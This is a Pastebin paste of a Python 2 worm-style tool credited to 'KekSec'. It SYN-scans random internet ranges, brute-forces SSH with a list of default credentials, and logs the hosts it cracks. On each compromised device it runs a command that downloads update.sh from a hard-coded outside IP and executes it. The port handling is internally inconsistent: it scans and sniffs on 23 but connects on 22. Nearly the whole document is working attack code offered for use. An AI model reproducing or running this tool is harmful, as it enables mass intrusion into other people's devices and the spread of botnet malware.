Advertisement
KekSec

Freaks SSH Scapy SYN Scanner (SLOW)

Aug 2nd, 2018
948
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.61 KB | None | 0 0
  1. import logging
  2. from scapy.all import *
  3. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Disable the annoying No Route found warning !
  4. import sys, re, os, paramiko, socket, random, itertools
  5. from threading import Thread
  6. from time import sleep
  7. paramiko.util.log_to_file("/dev/null")
  8. rekdevice="cd /tmp; wget http://185.10.68.196/update.sh; busybox wget http://185.10.68.196/update.sh; chmod 777 update.sh; sh update.sh; rm -f update.sh" #command to send
  9.  
  10. print "S-S-SUUUPER fast SSH scanner by Freak"
  11. print
  12.  
  13. maxthreads = int(raw_input("Threads: "))
  14.  
  15. global fh
  16. fh = open("vulnz.txt","a+")
  17.  
  18. global passwords
  19. passwords = [
  20.     "root:root",
  21.     "root:admin",
  22.     "root:password",
  23.     "root:default",
  24.     "root:toor",
  25.     "admin:admin",
  26.     "admin:1234",
  27.     "ubnt:ubnt",
  28.     "vagrant:vagrant",
  29.     "root:ubnt",
  30.     "telnet:telnet",
  31.     "guest:guest",
  32.     "root:vagrant",
  33.     "pi:raspberry",
  34.     "default:",
  35.     "admin:password",
  36.     "cisco:cisco",
  37.     "root:5up",
  38.     "user:password",
  39.     "user:user",
  40.     "root:debian",
  41.     "root:alpine",
  42.     "root:ceadmin",
  43.     "root:indigo",
  44.     "root:linux",
  45.     "root:rootpasswd",
  46.     "root:timeserver"
  47. ]
  48.  
  49.  
  50. def SSHBrute(IP):
  51.     global fh
  52.     global passwords
  53.     cracked = False
  54.     for passwd in passwords:
  55.         if cracked:
  56.             return
  57.         try:
  58.             ssh = paramiko.SSHClient()
  59.             ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  60.             ssh.connect(IP, port = 22, username=passwd.split(":")[0], password=passwd.split(":")[1], key_filename=None, timeout=3)
  61.             print "Freaks next root ->"+ passwd + ":" + IP
  62.             cracked = True
  63.             fh.write(passwd + ":" + IP + "\n")
  64.             fh.flush()
  65.             ssh.exec_command(rekdevice)
  66.             sleep(20)
  67.             ssh.close()
  68.         except Exception as e:
  69.             pass
  70.            
  71. def cook(pkt):
  72.     try:
  73.         global fh
  74.         if pkt[TCP].flags == 18 and pkt[IP].src:
  75.             print "22 port opened: %s " % (pkt[IP].src)
  76.             threadstarted = False
  77.             while not threadstarted:
  78.                 try:
  79.                     Thread(target = SSHBrute, args = (pkt[IP].src,)).start()
  80.                     threadstarted = True
  81.                 except:
  82.                     pass
  83.                 sleep(1)
  84.     except Exception as e:
  85.         pass
  86.  
  87. def sniffer():
  88.     sniff(filter="tcp and dst port 1337 and src port 23", prn=cook)
  89.  
  90. def gen_IP_block():
  91.     first = random.choice(["2", "5", "31", "37", "46", "94", "95", "118", "119", "122", "161", "168", "176", "178", "179", "180", "183", "185", "187", "188", "191", "198", "201"])
  92.     ip = ".".join([str(first),str(random.randrange(1,256)),
  93.     str(random.randrange(1,256))])
  94.     return ip+".0-255"
  95.  
  96. def ip_range(input_string, timeout=0.2):
  97.     octets = input_string.split('.')
  98.     chunks = [map(int, octet.split('-')) for octet in octets]
  99.     ranges = [range(c[0], c[1] + 1) if len(c) == 2 else c for c in chunks]
  100.     s = conf.L3socket(iface='eth0')
  101.     for address in itertools.product(*ranges):
  102.         address ='.'.join(map(str, address))
  103.         pkt = IP()/TCP(sport=1337, dport=23, flags="S")
  104.         pkt[IP].dst = address
  105.         s.send(pkt)
  106.  
  107. def HaxThread():
  108.     while 1:
  109.         ip_range(gen_IP_block())
  110.  
  111. Thread(target = sniffer, args = ()).start()
  112. global threads
  113. threads = 0
  114. for i in xrange(0,maxthreads):
  115.     try:
  116.         Thread(target = HaxThread, args = ()).start()
  117.         threads += 1
  118.     except Exception as e:
  119.         pass
  120.  
  121. print "Started " + str(threads) + " scanner threads! Press enter to stop."
  122.  
  123. raw_input()
  124. os.kill(os.getpid(), 9)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement